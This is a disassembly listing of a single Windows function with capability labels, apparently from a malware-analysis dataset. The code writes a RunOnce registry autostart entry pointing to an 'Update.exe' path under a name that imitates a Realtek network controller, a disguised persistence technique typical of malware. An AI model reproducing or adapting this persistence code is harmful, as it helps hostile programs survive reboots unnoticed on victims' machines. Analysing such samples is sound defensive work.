Function at 0x1400025e0
Capabilities:
Get common file path
Get startup folder
Persist via run registry key
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x1b0]
sub rsp, 0x2b0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x1a0], rax
xor edi, edi
lea rax, [rbp - 0x70]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [rdi + 0x1c]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea rdx, [rbp - 0x70]
lea rcx, [rsp + 0x68]
call fcn.140003b20
nop
call fcn.140003d1c
lea rcx, str.Realtek
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x38], 7
lea r8, [rsp + 0x30]
mov edx, eax
lea rcx, [rsp + 0x40]
call fcn.140001850
nop
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x68]
call fcn.140001aa0
mov rbx, rax
mov rdx, qword [rsp + 0x58]
cmp rdx, 7
jbe 0x1400026b9
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400026b4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400026b4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400042c4
movdqa xmm0, xmmword [0x140008670]
movdqu xmmword [rsp + 0x50], xmm0
mov word [rsp + 0x40], di
mov rcx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x1400026d9
mov rcx, qword [rbx]
call fcn.140003e58
mov rdx, rax
shr rax, 0x20
test eax, eax
jne 0x140002877
call fcn.140003d1c
lea rcx, str.Update.exe
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x38], 0xa
lea r8, [rsp + 0x30]
mov edx, eax
lea rcx, [rsp + 0x40]
call fcn.140001850
nop
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x68]
call fcn.140001aa0
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 7
jbe 0x14000276e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002769
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002769
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400042c4
mov qword [rsp + 0x60], rdi
lea r8, [rsp + 0x60]
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionRunOnce
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
test eax, eax
jns 0x1400027d4
mov rdx, qword [rbp - 0x80]
cmp rdx, 7
jbe 0x1400027cd
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400027c8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002845
call fcn.1400042c4
mov eax, 0xffffffff
jmp 0x140002853
lea rax, [rsp + 0x68]
cmp qword [rbp - 0x80], 7
cmova rax, qword [rsp + 0x68]
mov dword [rsp + 0x28], 0x104
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str.Realtek_GbE_Controller
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
nop
mov rdx, qword [rbp - 0x80]
cmp rdx, 7
jbe 0x140002851
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000284c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000284c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400042c4
xor eax, eax
mov rcx, qword [rbp + 0x1a0]
xor rcx, rsp
call fcn.140004260
lea r11, [rsp + 0x2b0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
shr rdx, 0x20
mov r8, rbx
call fcn.140002570
int3